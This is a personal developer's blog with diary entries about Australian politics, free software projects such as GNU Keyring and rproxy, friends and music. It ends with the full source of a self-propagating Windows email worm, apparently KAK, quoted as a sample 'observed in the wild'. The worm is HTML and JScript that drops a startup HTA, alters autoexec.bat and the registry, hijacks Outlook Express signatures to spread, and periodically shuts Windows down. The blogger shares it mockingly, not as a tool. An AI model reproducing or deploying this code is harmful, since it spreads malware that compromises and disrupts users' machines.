Older blog entries for mbp (starting at number 71)

I watched Senate Question Time on the ABC last night. The behaviour of our elected government is ridiculous and disgraceful.

Most year eight school classes can shut up and pay attention when somebody else is speaking, or at least would do so after being told repeatedly. Most year twelve students can tell the difference between answering the question and merely abusing the questioner. And this is simple politeness, to say nothing of using effective problem-solving techniques.

Not, apparently, our members of parliament.

(And don't even get me *started* on the fact that we're still subjects of a monarch.)

keyring

I updated the GNU Keyring site, and I hope I will fix the database bug one evening this week. I find it takes me a while to swap the PalmOS mindset back into my head, so I'm hoping to work intensively on it until my list is finished.

completely oblivious

Rusty passed around some glossy brochures for Linux Expo Shanghai. Along with a lot of vaguely positive quotes about their previous show, they quote Richard Stallman as saying

This show, like many trade shows about the GNU/Linux operating system, placed great emphasis on promoting the popularity of the system, and comparitively little emphasis on spreading and preserving the freedom which was the purpose for developing the system in the first place.

Hee hee!

ear

"COMPOST The Future Sound of Jazz", and in particular Nightmares on Wax.

I rode up to Sydney to visit Sarah. It was a good ride, but I wish I'd done it under happier circumstances. I think she'll be OK.

Skud: tridge is working on converting the Tivo to work with PAL video.

New rproxy release; more bugs fixed.

My sister's in hospital.

In the future, people will refer to our society as the American Empire. Is this how you think of it?

star's comment is so true it deserves repetition:

It is amazing how small the software world is. Just a couple years ago, everything was made by mysterious people elsewhere, now I have met the people who wrote most of the software I use. And it seems the web just extends and fills in the gaps. You take a new job and meet another 20.

I spent this afternoon helping Liz move house. (It's so much easier with lots of helpers.) We're such good friends, and getting to hang out more is a real bonus of moving to Canberra.

I was planning to spend the weekend away from computers to chill out, but .. I seem to have failed :-). Well, a quick check of the portal sites and email barely counts, and I'll log off soon I promise.

I'm hoping for a transfer to a different department in a few weeks time.

Without reigniting the great certification debate, it occurred to me in the supermarket that Raph's certification guidelines are self-consistent. If one wanted to use certification as a reward for getting more and better free software written, then it's true: what's important is that bright people should spend a large number of hours working on important open source projects. Being bright but not having much time, or working on (currently) minor projects, or working on nonfree projects are all fine things to have in your life, but the truth is that they do not contribute so much to this aim.

A problem with this is that it puts a lot of emphasis on established or high-profile projects: everybody knows of Apache, but whether there's much more to usefully add to it is debatable. These assessments have to be retrospective.

I wrote up some documentation for my snapfs filesystem, which has been shelved for some months now. I get mail every so often asking what happened to it, so it seemed good to answer it once and for all. Perhaps I'll get back to it eventually.

I'm feeling a bit blah this week and have been a little interested in Skud's tale of medication. I think I miss people in Brisbane and also the good weather. Still, it's almost spring down here and hopefully getting better soon.

AusCERT published a new newsletter with interesting numbers about growth and reporting of security problems. One interesting phenomenon is that attacks seem to go out of fashion before they're fixed.

(addendum: My good friend Luke (!= lkcl) just called; I feel a little better already.)

No motorbike for me today. Foo.

mp3 of a few of us singing Bruckner's Locus Iste. In a very different style, I'm enjoying godspeed you black emporer. Another good thing from Montreal, hey?

jgg sent some good comments about rproxy and the concept of apt-rsync. His requirements to minimize load on the server are interesting; I hope we'll get there.

-- 
Martin Pool
Hi!  I'm a sig virus.  Please help me spread :-)

Windows version, observed today in the wild:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0
Transitional//EN">
<HTML><HEAD>
<META content="text/html; charset=iso-8859-1"
http-equiv=Content-Type>
<META content="MSHTML 5.00.2614.3500" name=GENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=#ffffff>
<DIV>&nbsp;</DIV>
<DIV>
<DIV style="POSITION: absolute; RIGHT: 0px; TOP: -20px;
Z-INDEX: 5">
<OBJECT
classid=clsid:06290BD5-48AA-11D2-8432-006008C3FBFC 
id=scr></OBJECT></DIV>
<SCRIPT><!--
function sErr(){return
true;}window.onerror=sErr;scr.Reset();scr.doc="Z<HTML><HEAD><TITLE>Driver
Memory Error</"+"TITLE><HTA:APPLICATION ID=\"hO\"
WINDOWSTATE=Minimize></"+"HEAD><BODY
BGCOLOR=#CCCCCC><object id='wsh'
classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></"+"object><SCRIPT>function
sEr(){self.close();return true;}window.onerror=sEr;fs=new
ActiveXObject('Scripting.FileSystemObject');wd='C:\\\\Windows\\\\';fl=fs.GetFolder(wd+'Applic~1\\\\Identities');sbf=fl.SubFolders;for(var
mye=new
Enumerator(sbf);!mye.atEnd();mye.moveNext())idd=mye.item();ids=new
String(idd);idn=ids.slice(31);fic=idn.substring(1,9);kfr=wd+'MENUDÉ~1\\\\PROGRA~1\\\\DÉMARR~1\\\\kak.hta';ken=wd+'STARTM~1\\\\Programs\\\\StartUp\\\\kak.hta';k2=wd+'System\\\\'+fic+'.hta';kk=(fs.FileExists(kfr))?kfr:ken;aek='C:\\\\AE.KAK';aeb='C:\\\\Autoexec.bat';if(!fs.FileExists(aek)){re=/kak.hta/i;if(hO.commandLine.search(re)!=-1){f1=fs.GetFile(aeb);f1.Copy(aek);t1=f1.OpenAsTextStream(8);pth=(kk==kfr)?wd+'MENUD?~1\\\\PROGRA~1\\\\D?MARR~1\\\\kak.hta':ken;t1.WriteLine('@echo
off>'+pth);t1.WriteLine('del
'+pth);t1.Close();}}if(!fs.FileExists(k2)){fs.CopyFile(kk,k2);fs.GetFile(k2).Attributes=2;}t2=fs.CreateTextFile(wd+'kak.reg');t2.write('REGEDIT4');t2.WriteBlankLines(2);ky='[HKEY_CURRENT_USER\\\\Identities\\\\'+idn+'\\\\Software\\\\Microsoft\\\\Outlook
Express\\\\5.0';sg='\\\\signatures';t2.WriteLine(ky+sg+']');t2.Write('\"Default
Signature\"=\"00000000\"');t2.WriteBlankLines(2);t2.WriteLine(ky+sg+'\\\\00000000]');t2.WriteLine('\"name\"=\"Signature
#1\"');t2.WriteLine('\"type\"=dword:00000002');t2.WriteLine('\"text\"=\"\"');t2.Write('\"file\"=\"C:\\\\\\\\WINDOWS\\\\\\\\kak.htm\"');t2.WriteBlankLines(2);t2.WriteLine(ky+']');t2.Write('\"Signature
Flags\"=dword:00000003');t2.WriteBlankLines(2);t2.WriteLine('[HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run]');t2.Write('\"cAg0u\"=\"C:\\\\\\\\WINDOWS\\\\\\\\SYSTEM\\\\\\\\'+fic+'.hta\"');t2.WriteBlankLines(2);t2.close();wsh.Run(wd+'Regedit.exe
-s
'+wd+'kak.reg');t3=fs.CreateTextFile(wd+'kak.htm',1);t3.Write('<HTML><BODY><DIV
style=\"POSITION:absolute;RIGHT:0px;TOP:-20px;Z-INDEX:5\"><OBJECT
classid=clsid:06290BD5-48AA-11D2-8432-006008C3FBFC
id=scr></"+"OBJECT></"+"DIV>');t4=fs.OpenTextFile(k2,1);while(t4.Read(1)!='Z');t3.WriteLine('<SCRIPT><!--');t3.write('function
sErr(){return
true;}window.onerror=sErr;scr.Reset();scr.doc=\"Z');rs=t4.Read(3095);t4.close();rd=/\\\\/g;re=/\"/g;rf=/<\\//g;rt=rs.replace(rd,'\\\\\\\\').replace(re,'\\\\\"').replace(rf,'</"+"\"+\"');t3.WriteLine(rt+'\";la=(navigator.systemLanguage)?navigator.systemLanguage:navigator.language;scr.Path=(la==\"fr\")?\"C:\\\\\\\\windows\\\\\\\\Menu
Démarrer\\\\\\\\Programmes\\\\\\\\Démarrage\\\\\\\\kak.hta\":\"C:\\\\\\\\windows\\\\\\\\Start
Menu\\\\\\\\Programs\\\\\\\\StartUp\\\\\\\\kak.hta\";agt=navigator.userAgent.toLowerCase();if(((agt.indexOf(\"msie\")!=-1)&&(parseInt(navigator.appVersion)>4))||(agt.indexOf(\"msie
5.\")!=-1))scr.write();');t3.write('//--></"+"'+'SCRIPT></"+"'+'OBJECT></"+"'+'BODY></"+"'+'HTML>');t3.close();fs.GetFile(wd+'kak.htm').Attributes=2;fs.DeleteFile(wd+'kak.reg');d=new
Date();if(d.getDate()==1 &&
d.getHours()>17){alert('Kagou-Anti-Kro$oft says not today
!');wsh.Run(wd+'RUNDLL32.EXE
user.exe,exitwindows');}self.close();</"+"SCRIPT>S3
driver memory alloc failed &nbsp;
!]]%%%%%</"+"BODY></"+"HTML>";la=(navigator.systemLanguage)?navigator.systemLanguage:navigator.language;scr.Path=(la=="fr")?"C:\\windows\\Menu
Démarrer\\Programmes\\Démarrage\\kak.hta":"C:\\windows\\Start
Menu\\Programs\\StartUp\\kak.hta";agt=navigator.userAgent.toLowerCase();if(((agt.indexOf("msie")!=-1)&&(parseInt(navigator.appVersion)>4))||(agt.indexOf("msie
5.")!=-1))scr.write();
//--></SCRIPT>
</OBJECT></DIV></BODY></HTML>

 

That's innovation for you!